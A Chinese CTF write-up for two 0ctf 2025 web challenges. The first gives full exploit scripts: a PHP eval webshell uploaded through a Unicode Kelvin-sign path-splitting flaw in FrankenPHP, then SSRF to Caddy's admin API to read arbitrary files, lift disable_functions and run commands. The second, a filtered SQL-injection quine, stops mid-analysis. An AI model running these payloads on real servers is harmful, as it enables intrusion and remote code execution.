[0ctf2025]web_wp

29 min views

ezupload

题目

<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
  $filename = basename($_GET['filename'] ?? 'phpinfo.php');
  file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
  echo "File created.";
} elseif ($action === 'upload') {
  if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    $extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
    if ($extension === 'txt') {
      if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        echo "File uploaded successfully.";
      }
    }
  }
} else {
  highlight_file(__FILE__);
}

分析

有任意文件内容上传,但是后缀被限制成txt

php8.4

框架是FrankenPHP

open_basedir: /app/public:/tmp

disable_function: chdir,curl_exec,curl_init,curl_multi_add_handle,curl_multi_exec,curl_multi_init,curl_multi_remove_handle,curl_multi_select,curl_setopt,dl,error_log,exec,imap_open,ini_alter,ini_restore,ini_set,ld,link,mail,mb_send_mail,passthru,pcntl_alarm,pcntl_async_signals,pcntl_exec,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_signal_get_handler,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,putenv,shell_exec,symlink,syslog,system

disable_classes: PDO,Pdo\Sqlite,SQLite3


先介绍一个关于unicode编码小trick

在unicode中不止有一个字节的字符,有些字符是由两个或者更多的字节组成的,比如Å(3字节)、ẞ(3字节)、Ⱦ(2字节)…,并且还有些不等于字符但是处理后会默认转换成响应的字符

因此在对unicode进行处理的时候可能因为对字符的解析差异产生漏洞

后缀bypass

获取后缀的时候用到了pathinfo,看下源码的处理逻辑

PHP_FUNCTION(pathinfo)
{
	zval tmp;
	char *path, *dirname;
	size_t path_len;
	bool have_basename;
	zend_long opt = PHP_PATHINFO_ALL;
	zend_string *ret = NULL;

	ZEND_PARSE_PARAMETERS_START(1, 2)
		Z_PARAM_STRING(path, path_len)
		Z_PARAM_OPTIONAL
		Z_PARAM_LONG(opt)
	ZEND_PARSE_PARAMETERS_END();

	have_basename = (opt & PHP_PATHINFO_BASENAME);

	array_init(&tmp);

	if (opt & PHP_PATHINFO_DIRNAME) {
		dirname = estrndup(path, path_len);
		php_dirname(dirname, path_len);
		if (*dirname) {
			add_assoc_string(&tmp, "dirname", dirname);
		}
		efree(dirname);
	}

	if (have_basename) {
		ret = php_basename(path, path_len, NULL, 0);
		add_assoc_str(&tmp, "basename", zend_string_copy(ret));
    }

	if (opt & PHP_PATHINFO_EXTENSION) {
		const char *p;
		ptrdiff_t idx;

		if (!have_basename) {
			ret = php_basename(path, path_len, NULL, 0);
		}

		p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret));

		if (p) {
			idx = p - ZSTR_VAL(ret);
			add_assoc_stringl(&tmp, "extension", ZSTR_VAL(ret) + idx + 1, ZSTR_LEN(ret) - idx - 1);
		}
	}

	if (opt & PHP_PATHINFO_FILENAME) {
		const char *p;
		ptrdiff_t idx;

		/* Have we already looked up the basename? */
		if (!have_basename && !ret) {
			ret = php_basename(path, path_len, NULL, 0);
		}

		p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret));

		idx = p ? (p - ZSTR_VAL(ret)) : (ptrdiff_t)ZSTR_LEN(ret);
		add_assoc_stringl(&tmp, "filename", ZSTR_VAL(ret), idx);
	}

	if (ret) {
		zend_string_release_ex(ret, 0);
	}

	if (opt == PHP_PATHINFO_ALL) {
		RETURN_COPY_VALUE(&tmp);
	} else {
		zval *element;
		if ((element = zend_hash_get_current_data(Z_ARRVAL(tmp))) != NULL) {
			RETVAL_COPY_DEREF(element);
		} else {
			RETVAL_EMPTY_STRING();
		}
		zval_ptr_dtor(&tmp);
	}
}

处理文件名的时候先用basename获取文件名存到指针ret中,后续都是基于ret的

ret = php_basename(path, path_len, NULL, 0);

接下来处理扩展名和文件名

//扩展名
p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret)); // 寻找php_basename处理后的ret中找最后一个点
if (p) {
    add_assoc_stringl(..., "extension", ZSTR_VAL(ret) + idx + 1, ...);//截取.后面作为extension
}

只对点.进行了匹配,然后截取点后面的部分作为extension

//文件名
p = zend_memrchr(ZSTR_VAL(ret), '.', ZSTR_LEN(ret));
idx = p ? (p - ZSTR_VAL(ret)) : (ptrdiff_t)ZSTR_LEN(ret);
add_assoc_stringl(..., "filename", ZSTR_VAL(ret), idx);

依旧是找点并且将左边的作为文件名,太正确了,根本产生不了漏洞:(

image-20260109095245434
image-20260109095245434

不过在获取文件名的时候用到了php_basename,跟一下看看逻辑

PHPAPI zend_string *php_basename(const char *s, size_t len, const char *suffix, size_t suffix_len)
{
	const char *basename_start;
	const char *basename_end;

	if (CG(ascii_compatible_locale)) {
		basename_end = s + len - 1;

		/* Strip trailing slashes */
		while (basename_end >= s
#ifdef PHP_WIN32
			&& (*basename_end == '/'
				|| *basename_end == '\\'
				|| (*basename_end == ':'
					&& _is_basename_start(s, basename_end)))) {
#else
			&& *basename_end == '/') {
#endif
			basename_end--;
		}
		if (basename_end < s) {
			return ZSTR_EMPTY_ALLOC();
		}

		/* Extract filename */
		basename_start = basename_end;
		basename_end++;
		while (basename_start > s
#ifdef PHP_WIN32
			&& *(basename_start-1) != '/'
			&& *(basename_start-1) != '\\') {

			if (*(basename_start-1) == ':' &&
				_is_basename_start(s, basename_start - 1)) {
				break;
			}
#else
			&& *(basename_start-1) != '/') {
#endif
			basename_start--;
		}
	} else {
		/* State 0 is directly after a directory separator (or at the start of the string).
		 * State 1 is everything else. */
		int state = 0;

		basename_start = s;
		basename_end = s;
		while (len > 0) {
			int inc_len = (*s == '\0' ? 1 : php_mblen(s, len));

			switch (inc_len) {
				case 0:
					goto quit_loop;
				case 1:
#ifdef PHP_WIN32
					if (*s == '/' || *s == '\\') {
#else
					if (*s == '/') {
#endif
						if (state == 1) {
							state = 0;
							basename_end = s;
						}
#ifdef PHP_WIN32
					/* Catch relative paths in c:file.txt style. They're not to confuse
					   with the NTFS streams. This part ensures also, that no drive
					   letter traversing happens. */
					} else if ((*s == ':' && (s - basename_start == 1))) {
						if (state == 0) {
							basename_start = s;
							state = 1;
						} else {
							basename_end = s;
							state = 0;
						}
#endif
					} else {
						if (state == 0) {
							basename_start = s;
							state = 1;
						}
					}
					break;
				default:
					if (inc_len < 0) {
						/* If character is invalid, treat it like other non-significant characters. */
						inc_len = 1;
						php_mb_reset();
					}
					if (state == 0) {
						basename_start = s;
						state = 1;
					}
					break;
			}
			s += inc_len;
			len -= inc_len;
		}

quit_loop:
		if (state == 1) {
			basename_end = s;
		}
	}

	if (suffix != NULL && suffix_len < (size_t)(basename_end - basename_start) &&
			memcmp(basename_end - suffix_len, suffix, suffix_len) == 0) {
		basename_end -= suffix_len;
	}

	return zend_string_init(basename_start, basename_end - basename_start, 0);
}

前面的就不写了,直接来看对unicode处理的部分

#ifdef PHP_WIN32
			&& *(basename_start-1) != '/'
			&& *(basename_start-1) != '\\') {

			if (*(basename_start-1) == ':' &&
				_is_basename_start(s, basename_start - 1)) {
				break;
			}
#else
			&& *(basename_start-1) != '/') {
#endif
			basename_start--;
		}
	} else {
		/* State 0 is directly after a directory separator (or at the start of the string).
		 * State 1 is everything else. */
		int state = 0;

		basename_start = s;
		basename_end = s;
		while (len > 0) {
			int inc_len = (*s == '\0' ? 1 : php_mblen(s, len));

			switch (inc_len) {
				case 0:
					goto quit_loop;
				case 1:

在else前面判断了是不是ascii能够兼容的字符,如果是多字节就会通过int inc_len = (*s == '\0' ? 1 : php_mblen(s, len));挨个字符进行判断字符长度

完全防止了unicode利用的可能

image-20260109102544820
image-20260109102544820

php的函数似乎没有什么能产生漏洞的的地方了

但是题目的框架是frankenphp,找frankenphp的源码分析一下,在cgi.go中找到路径解析的代码

先看分割路径的splitCgiPath

image-20260108153640404
image-20260108153640404

获取路径然后进行分割,好像没什么需要注意的,不过用到了一个splitPos的函数,找一下这个函数

image-20260108153708687
image-20260108153708687

splitPos函数对字符进行小写处理后,查找.php后缀的索引并且返回文件到.php的长度

但是回过头来看splitCgiPath函数中最终生成的路径,是通过path[:splitPos]来获取的!

也就是在根据小写后的后缀的索引对原本的路径进行分割的

func splitCgiPath(fc *frankenPHPContext) {
    path := fc.request.URL.Path
    // ...
    if splitPos := splitPos(path, splitPath); splitPos > -1 {
        fc.docURI = path[:splitPos] 
        fc.pathInfo = path[splitPos:]
        
        fc.scriptName = strings.TrimSuffix(path, fc.pathInfo)
        // ...
        fc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName)
    }
    // ...
}

比如访问一个/test.php.txt,在splitPos处理时,.的索引是5,然后根据idx+len(“.php”)来计算结束的位置也就是9

随后返回给splitCgiPath,之后的各个参数如下

fc.docURI: /test.php

fc.pathInfo: .txt

fc.scriptName: /test.php

fc.scriptFilename: /var/www/html/test.php

分析下来看到这里最终的路径是test.php而不是上传的test.php.txt,但是实际访问的时候无论有没有test.php最终访问到的都是test.php.txt,为什么?

题目中Caddyfile的站点块是下面这个,用到了php_server

root {$SERVER_ROOT:public/}
image-20260109171700390
image-20260109171700390

而在frankenphp的文档中明确了php_server等同于下面这种route结构

image-20260109171739748
image-20260109171739748
route {
	@indexFiles file {
		try_files {path} {path}/index.php index.php
		split_path .php
	}
	rewrite @indexFiles {http.matchers.file.relative}

	@phpFiles path *.php
	php @phpFiles

	file_server
}

@phpFiles path *.php: 在文件路径是以php结尾的时候才会进入php解析

try_files {path} ... index.php说明了如果访问的文件不存在就兜底到index.php

因此只有路径以php结尾的时候才会经过splitCgiPath和splitPos这两个函数,但是我们能够控制的文件只有txt文件,所以要想办法将txt文件内容解析到php后缀的文件中

刚才也提到过,unicode中有些字符是多字节的,而在进行小写转换时,一些字符的字节数会发生变化,从而导致转换前后的长度不一样,从而能够改变splitCgiPath解析的路径

比如Ⱥ(\u023A)(2字节),而转换成小写之后就变成了ⱥ(3字节),在本地测一下

image-20260109112832240
image-20260109112832240

能够找到一个开尔文符号K(U+212A)符合这个条件,长度是3字节,在转换成小写后是k,占1个字节,减少了两个字节

image-20260109172340477
image-20260109172340477

只需要在文件名中加入两个K,例如KK.txt.php

原始path的长度为14,lowerpath长度为10

在lowerpath中,.php的结束位置是10,所以splitPos()返回的长度是10

此时splitCgiPath拿返回的长度去分割原始的path,而path的前10个字节是KK.txt

最终SCRIPT_FILENAME 会指向 .../KK.txt

于是frankenphp就会将KK.txt的内容当做KK.txt.php的内容来解析

构造如下的payload写入shell

import requests

url = "http://124.221.168.69:20292/"

unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"

content = """<?php eval($_REQUEST[1]);?>"""

files = {
    "file": (filename, content, 'text/plain')
}

data = {"action": "upload"}

res = requests.post(url, files=files, params=data)
print(res.text)

create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})
image-20260109172621805
image-20260109172621805

但是还有open_basedir和disable_function

image-20260109172955441
image-20260109172955441

绕过open_basedir和disable_function

php层面设置了open_basedir和disable_function并且已经限制死了,需要从php外但是同一个进程或者容器的方法来rce

首先想到的就是frankenphp,在看源码的时候注意到有一个caddy

image-20260109180303758
image-20260109180303758

找一下caddy的官方文档https://caddyserver.com/docs/

发现caddy是运行在服务器中的一个服务,并且在https://caddyserver.com/docs/api中发现caddy的api默认地址是在本地的2019端口上的,并且有

image-20260109180751534
image-20260109180751534

并且有一个config路由可以对配置做运行时的变更

查看一下这个config路由

image-20260109182717095
image-20260109182717095

格式化一下

{
    "apps": {
        "frankenphp": {},
        "http": {
            "servers": {
                "srv0": {
                    "listen": [
                        ":80"
                    ],
                    "routes": [
                        {
                            "handle": [
                                {
                                    "handler": "vars",
                                    "root": "public/"
                                },
                                {
                                    "handler": "headers",
                                    "response": {
                                        "deferred": true,
                                        "delete": [
                                            "Server"
                                        ]
                                    }
                                },
                                {
                                    "encodings": {
                                        "br": {},
                                        "gzip": {},
                                        "zstd": {}
                                    },
                                    "handler": "encode",
                                    "prefer": [
                                        "zstd",
                                        "br",
                                        "gzip"
                                    ]
                                }
                            ]
                        },
                        {
                            "handle": [
                                {
                                    "handler": "static_response",
                                    "headers": {
                                        "Location": [
                                            "{http.request.orig_uri.path}/"
                                        ]
                                    },
                                    "status_code": 308
                                }
                            ],
                            "match": [
                                {
                                    "file": {
                                        "try_files": [
                                            "{http.request.uri.path}/index.php"
                                        ]
                                    },
                                    "not": [
                                        {
                                            "path": [
                                                "*/"
                                            ]
                                        }
                                    ]
                                }
                            ]
                        },
                        {
                            "handle": [
                                {
                                    "handler": "rewrite",
                                    "uri": "{http.matchers.file.relative}"
                                }
                            ],
                            "match": [
                                {
                                    "file": {
                                        "split_path": [
                                            ".php"
                                        ],
                                        "try_files": [
                                            "{http.request.uri.path}",
                                            "{http.request.uri.path}/index.php",
                                            "index.php"
                                        ],
                                        "try_policy": "first_exist_fallback"
                                    }
                                }
                            ]
                        },
                        {
                            "handle": [
                                {
                                    "handler": "php",
                                    "split_path": [
                                        ".php"
                                    ]
                                }
                            ],
                            "match": [
                                {
                                    "path": [
                                        "*.php"
                                    ]
                                }
                            ]
                        },
                        {
                            "handle": [
                                {
                                    "handler": "file_server"
                                }
                            ]
                        }
                    ]
                }
            }
        },
        "pki": {
            "certificate_authorities": {
                "local": {
                    "install_trust": false
                }
            }
        }
    }
}

在返回的这个 config 中,routes 数组中每一项都是这样的格式:

可选 match: [...](匹配条件)

必选 handle: [...](handler 链,按顺序执行)

比如 rewrite 的 route:

{
  "handle": [
    { "handler": "rewrite", "uri": "{http.matchers.file.relative}" }
  ],
  "match": [
    { "file": { ... } }
  ]
}

观察到现有配置的最后还有一个不带 match 的 file_server,说明整个站点的请求最终都会落到静态文件服务;同时也存在独立的rewriteroute,证明caddy支持在运行时“改写URI后再交给后续 handler继续处理”。因此如果想实现“增加一个专用入口来读取文件”,最自然的方式就是新增一条route,让它在进入默认file_server之前先命中。

想到可以通过增加一个挂载点来读取文件,于是可以这样构造:给自己创建一个统一前缀(比如 /_fs/),让所有从这个前缀进入的请求都走我们新增的 handler 链。

由于 file_server 会把请求路径拼到 root 上去找文件,如果直接用 file_server 处理 /_fs/etc/passwd,它会尝试读取 root + "/_fs/etc/passwd",多了一层 /_fs 目录,不符合“挂载点”的语义。所以需要先用 rewrite 把 /_fs/... 改写成真正要访问的路径(去掉前缀),再交给 file_server 去读文件。

因此 handle 链可以写成:

第一步 rewrite:将 /_fs/... 改写为 /...

第二步 file_server:从指定的 root 中把改写后的路径对应文件返回

"handle" => [
    ["handler" => "rewrite", ...],
    ["handler" => "file_server", ...],
]

接着需要决定这条新route的匹配条件。配置中已经展示了pathmatcher的用法:php route 通过match: path *.php 来把.php 请求交给 php handler:

"match": [{ "path": ["*.php"] }]

这说明 path matcher 支持通配符匹配,因此我们也可以用同样的方式为挂载点创建一个路径前缀匹配,让所有以/_fs/开头的请求都命中新route:

"match" => [["path" => ["/_fs/*"]]]

最后,为了让挂载点能读取到站点根目录 public/ 之外的文件,需要在这个file_serverhandler里显式指定root,避免继承全局的root: public/;同时可以开启browse方便确认目录结构。综合起来,新route的最小结构就自然形成了:用match 抓住/_fs/*,用rewrite去掉/_fs前缀,再用file_server在指定root下读取文件并返回。

在题目虽然禁用了常见的命令执行函数,但仍然可以用file_get_contents发起网络请求。不过file_get_contents默认只会发送get请求,并且不能直接携带自定义请求头和请求体;而向candy的api写入配置时,需要把我们构造的route作为json格式用post提交给api

image-20260109190109362
image-20260109190109362

因此必须提供一个http上下文来指定:

使用什么方法

使用什么content-type

请求体是什么

所以要先构造context:

$exp = stream_context_create([
  "http" => [
    "method" => "POST",
    "header" => "Content-Type: application/json\r\n",
    "content" => json_encode($req),
  ],
]);

这里:

"method" => "POST":把默认 GET 改为 POST

"header" => "Content-Type: application/json\r\n":将请求的格式改成json格式的

"content" => json_encode($req):把我们拼好的route对象序列化成json,作为请求体发送

有了这个context之后,再调用:

file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes", false, $exp);

就相当于“用file_get_contents作为http客户端”,按$exp指定的方式发起请求:把json格式post传参的到srv0的routes位置。之所以选这个路径,是因为在/config返回的结构里,htpp server的名字就是srv0,并且routes数组位置就在:

apps -> http -> servers -> srv0 -> routes

因此对这个路径发起写入请求,就能把我们构造的新 route 加到现有 routes 列表中,从而在不修改磁盘配置文件的情况下,运行时扩展出一个 /_fs/* 的挂载入口

读文件

合起来构造然后尝试一下

import requests

url = "http://bfxh4qc292wrh76v.instance.penguin.0ops.sjtu.cn:18080/"

unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"

content = """<?php eval($_REQUEST[1]);?>"""

files = {
    "file": (filename, content, 'text/plain')
}

data = {"action": "upload"}

res = requests.post(url, files=files, params=data)
print(res.text)

create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})

payload = r"""
    $req = [
      "match" => [["path" => ["/_fs/*"]]],
      "handle" => [
        ["handler" => "rewrite", "uri" => "{http.request.uri.path.strip_prefix:/_fs}"],
        ["handler" => "file_server", "root" => "/", "browse" => (object)[]],
      ],
    ];
    
    $exp = stream_context_create([
      "http" => [
        "method" => "POST",
        "header" => "Content-Type: application/json\r\n",
        "content" => json_encode($req),
        "ignore_errors" => true,
        'timeout' => 1,
      ],
    ]);
    
    echo file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes", false, $exp);echo '123';
    """

res = requests.post(f"{url}{create_name}", data = { 1 : payload})
print(res.text)
print(res.status_code)

read_config = "echo file_get_contents('http://127.0.0.1:2019/config/apps/http/servers/srv0/routes');"
config = requests.post(f"{url}{create_name}", data = { 1 : read_config})
print(config.text)

etc = requests.get(f"{url}_fs/etc/passwd")
print(len(etc.text))
print(etc.text[:200])

发现并没有成功读取到,原因应该是写入的配置是在最后面追加的,而caddy的http routes是按顺序执行的,在到达追加的配置前就已经被前面的try_files重写成index.php了

image-20260109204206617
image-20260109204206617

在config中还支持put、patch、delete方法,尝试一下用这几个将前面的配置给修改了然后读取/etc/passwd

直接用put放到开头访问不到,不用动态路径了,直接硬编码成/etc/passwd就能够读取到,解决了这下,这么看来应该是路径的问题,不过动态路径该怎么解决是个问题

import requests

url = "http://124.221.168.69:20298/"

unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"

content = """<?php eval($_REQUEST[1]);?>"""

files = {
    "file": (filename, content, 'text/plain')
}

data = {"action": "upload"}

res = requests.post(url, files=files, params=data)
print(res.text)

create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})

payload = r"""
    $req = [
      "match" => [["path" => ["/passwd"]]],
      "handle" => [
        ["handler" => "rewrite", "uri" => "/etc/passwd"],
        ["handler" => "file_server", "root" => "/"],
      ],
    ];

    $exp = stream_context_create([
      "http" => [
        "method" => "PUT",
        "header" => "Content-Type: application/json\r\n",
        "content" => json_encode($req),
        "ignore_errors" => true,
        'timeout' => 1,
      ],
    ]);

    echo file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes/0", false, $exp);echo '123';
    """

res = requests.post(f"{url}{create_name}", data={1: payload})
print(res.text)
print(res.status_code)

read_config = "echo file_get_contents('http://127.0.0.1:2019/config/apps/http/servers/srv0/routes');"
config = requests.post(f"{url}{create_name}", data={1: read_config})
print(config.text)

etc = requests.get(f"{url}passwd")
print(len(etc.text))
print(etc.text)
image-20260109211122041
image-20260109211122041

找到问题在哪里了,在去除前缀应该用"strip_path_prefix" => "/_fs",不能直接用"uri" => "{http.request.uri.path.strip_prefix:/_fs}"

import requests

url = "http://124.221.168.69:20299/"

unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"

content = """<?php eval($_REQUEST[1]);?>"""

files = {
    "file": (filename, content, 'text/plain')
}

data = {"action": "upload"}

res = requests.post(url, files=files, params=data)
print(res.text)

create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})

payload = r"""
    $req = [
      "match" => [["path" => ["/_fs/*"]]],
      "handle" => [
        ["handler" => "rewrite", "strip_path_prefix" => "/_fs"],
        ["handler" => "file_server", "root" => "/", "browse" => (object)[]],
      ],
    ];

    $exp = stream_context_create([
      "http" => [
        "method" => "PUT",
        "header" => "Content-Type: application/json\r\n",
        "content" => json_encode($req),
        "ignore_errors" => true,
        'timeout' => 1,
      ],
    ]);

    echo file_get_contents("http://127.0.0.1:2019/config/apps/http/servers/srv0/routes/0", false, $exp);echo '123';
    """

res = requests.post(f"{url}{create_name}", data={1: payload})
print(res.text)
print(res.status_code)

read_config = "echo file_get_contents('http://127.0.0.1:2019/config/apps/http/servers/srv0/routes');"
config = requests.post(f"{url}{create_name}", data={1: read_config})
print(config.text)

etc = requests.get(f"{url}_fs/etc/passwd")
print(len(etc.text))
print(etc.text[:200])
image-20260109212650885
image-20260109212650885

换个路径就能读其他的,比如/etc/hosts

image-20260109212805240
image-20260109212805240
RCE

但是最终读flag需要执行一个二进制文件,不能直接读取

在apps中找到一个exec的配置项,但是不是默认加载的,没法用

image-20260109211803120
image-20260109211803120

在config配置的参数中发现在apps中还有一个frankenphp,但是读取到的时候是空的,去文档中找一下对应的配置项

image-20260109201828892
image-20260109201828892
{
	frankenphp {
		num_threads <num_threads> # 设置要启动的 PHP 线程数量。默认:可用 CPU 数量的 2 倍。
		max_threads <max_threads> # 限制可以在运行时启动的额外 PHP 线程的数量。默认值:num_threads。可以设置为 'auto'。
		max_wait_time <duration> # 设置请求在超时之前可以等待的最大时间,直到找到一个空闲的 PHP 线程。 默认:禁用。
		php_ini <key> <value> # 设置一个 php.ini 指令。可以多次使用以设置多个指令。
		worker {
			file <path> # 设置工作脚本的路径。
			num <num> # 设置要启动的 PHP 线程数量,默认为可用 CPU 数量的 2 倍。
			env <key> <value> # 设置一个额外的环境变量为给定的值。可以多次指定以设置多个环境变量。
			watch <path> # 设置要监视文件更改的路径。可以为多个路径多次指定。
			name <name> # 设置worker的名称,用于日志和指标。默认值:worker文件的绝对路径。
			max_consecutive_failures <num> # 设置在工人被视为不健康之前的最大连续失败次数,-1意味着工人将始终重新启动。默认值:6。
		}
	}
}

发现能够设置php.ini的指令,这不就能够修改open_basedir和disable_function了吗!

尝试下能不能修改

import requests

url = "http://bfxh4qc292wrh76v.instance.penguin.0ops.sjtu.cn:18080"

unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"

content = """<?php eval($_REQUEST[1]);?>"""

files = {
    "file": (filename, content, 'text/plain')
}

data = {"action": "upload"}

res = requests.post(url, files=files, params=data)
print(res.text)

create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})

payload = r"""
    $ini = [
      "disable_functions" => "",
      "open_basedir" => "/",
    ];

    $exp = stream_context_create([
      "http" => [
        "method" => "POST",
        "header" => "Content-Type: application/json\r\n",
        "content" => json_encode($ini),
        "ignore_errors" => true,
        'timeout' => 1,
      ],
    ]);

    echo file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $exp);
    """

res = requests.post(f"{url}/{create_name}", data = {1 : payload})
print(res.text)

check = 'var_dump(ini_get("disable_functions"));var_dump(ini_get("open_basedir"));'
check_res = requests.post(f"{url}/{create_name}", data = {1 : check})
print(check_res.text)
image-20260109202402589
image-20260109202402589

成功修改!

然后直接读flag就可以了

exp
import requests

url = "http://bfxh4qc292wrh76v.instance.penguin.0ops.sjtu.cn:18080"

unicode_char = "\u212A"
filename = (unicode_char * 2) + ".txt"

content = """<?php eval($_REQUEST[1]);?>"""

files = {
    "file": (filename, content, 'text/plain')
}

data = {"action": "upload"}

res = requests.post(url, files=files, params=data)
print(res.text)

create_name = filename + ".php"
print(create_name)
requests.get(url, params={"action": "create", "filename": create_name})

payload = r"""
    $ini = [
      "disable_functions" => "",
      "open_basedir" => "/",
    ];

    $exp = stream_context_create([
      "http" => [
        "method" => "POST",
        "header" => "Content-Type: application/json\r\n",
        "content" => json_encode($ini),
        "ignore_errors" => true,
        'timeout' => 1,
      ],
    ]);

    echo file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini", false, $exp);
    """

res = requests.post(f"{url}/{create_name}", data = {1 : payload})
print(res.text)

check = 'var_dump(ini_get("disable_functions"));var_dump(ini_get("open_basedir"));'
check_res = requests.post(f"{url}/{create_name}", data = {1 : check})
print(check_res.text)

get_flag = "system('/readflag');"
flag = requests.post(f"{url}/{create_name}", data = {1 : get_flag})
print(flag.text)
image-20260109202629478
image-20260109202629478

参考: https://frankenphp.dev/zh/docs/config/

https://caddyserver.com/docs/

https://github.com/php/frankenphp/tree/main

ezqueen

题目

<?php

$host = getenv('DB_HOST') ?: 'mysql';
$db   = getenv('DB_NAME') ?: 'app';
$user = getenv('DB_USER') ?: 'appuser';
$pass = getenv('DB_PASS') ?: 'apppass';

$con = @mysqli_connect($host, $user, $pass, $db);
if (!$con) die("DB connect error");

function checkSql($s) {
    if(preg_match("/sleep|benchmark|lock|recursive|regexp|rlike|file|eval|update|schema|sys|substr|mid|left|right|replace|concat|insert|export_set|pad|@/i",$s)){
        die("hacker!");
    }
}

$pwd=$_POST['pwd'] ?? '';
  
if ($pwd !== '') {
    if (strlen($pwd) > 200) die("too long!");
    checkSql($pwd);
    $sql="SELECT pwd FROM users WHERE username='admin' and pwd='$pwd';";
    try {
        $user_result=mysqli_query($con,$sql);
        $row = mysqli_fetch_array($user_result);
        if (!$row) die("wrong password");
        if ($row['pwd'] === $pwd) {
            die(getenv('FLAG'));
        }
        die("wrong password");
    } catch (Throwable $e) {
        die("wrong password");
    }
}
else {
    highlight_file(__FILE__);
}

分析

漏洞

有sql注入

SELECT pwd FROM users WHERE username='admin' and pwd='$pwd';

限制

  1. checkSql(),过滤了大部分的关键字
  2. 长度限制200以内
  3. Quine限制,查询结果必须等于输入
checkSql

对关键字进行过滤,ban掉了很多方法

关键字目的
sleep, benchmark时间盲注
lock, recursive防止资源滥用
regexp, rlike防止使用正则表达式进行模式匹配
file, eval防止文件读写操作或代码执行
update, insert防止修改或插入数据库数据
schema, sys防止访问数据库架构信息(shcema)或系统表
substr, mid, left, right防止字符串截取/提取
replace, concat防止字符串替换与拼接操作
export_set, pad防止使用其他冷门的字符串处理函数作为替代方案
@防止变量赋值
Quine限制

Quine限制产生的原因是

if ($row['pwd'] === $pwd) {
	die(getenv('FLAG'));
}

要求了输入等于输出

常规的Mysql Quine方法

在mysql中可以用REPLACE函数和变量赋值(@a:)来实现Quine,示例

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;

这里用占位符($)简单示范一下,简化后是这样的

SELECT REPLACE(REPLACE(模板, 引号处理, 引号处理), 占位符, 数据) AS Quine

模板:SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine

数据:SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine

CHAR(36) = $

CHAR(34) = "

CHAR(39) = '

这三个char是为了避免对引号转义导致的问题

第一步

REPLACE(模板, CHAR(34), CHAR(39))

作用是把双引号替换成单引号

原本的模板:SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine

处理后(记为T):SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') AS Quine

替换是因为sql语句一般用单引号包裹字符串,如果定义字符串内部的时候再用单引号就很麻烦需要转义,所以先用双引号占位然后运行的时候替换成单引号

第二步

REPLACE(T, CHAR(36), 数据)

作用是把T中的$符号替换成原始的数据

T:SELECT REPLACE(REPLACE('$',CHAR(34),CHAR(39)),CHAR(36),'$') AS Quine

替换后:

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine

对比一下原始的sql语句能够发现是一模一样的:

SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine;

换成@a:后语句能缩短很多,因为定义了一次可以一直用不用再去重复设置了

SELECT REPLACE(REPLACE(@a:='SELECT REPLACE(REPLACE(@a:="$",CHAR(34),CHAR(39)),CHAR(36),@a) AS Quine',CHAR(34),CHAR(39)),CHAR(36),@a) AS Quine;

但是题目把REPLACE和@都ban掉了

而且在引用的输出中是不输出引号的,需要找一个方法将引用输出的前后拼接上引号,用CONCAT是能够做到的,但是被ban了,也需要找到一个替代的方法

解决方法

make_set(bits, str1, str2…)

make_set函数返回一个字符串,根据bits来选取后面的字符串参数,如果某一位是1,就选中对应的字符串

比如SELECT make_set(5, 'a', 'b', 'c', 'd');

5转换成二进制是0101,从右向左是1,0,1,0,因此a和c会被选中,然后用逗号连接并输出'a,c'

quote(str)

quote会返回被单引号包裹的字符串并且能自动转义里面的特殊字符

quote(‘hello’) 输出'hello'

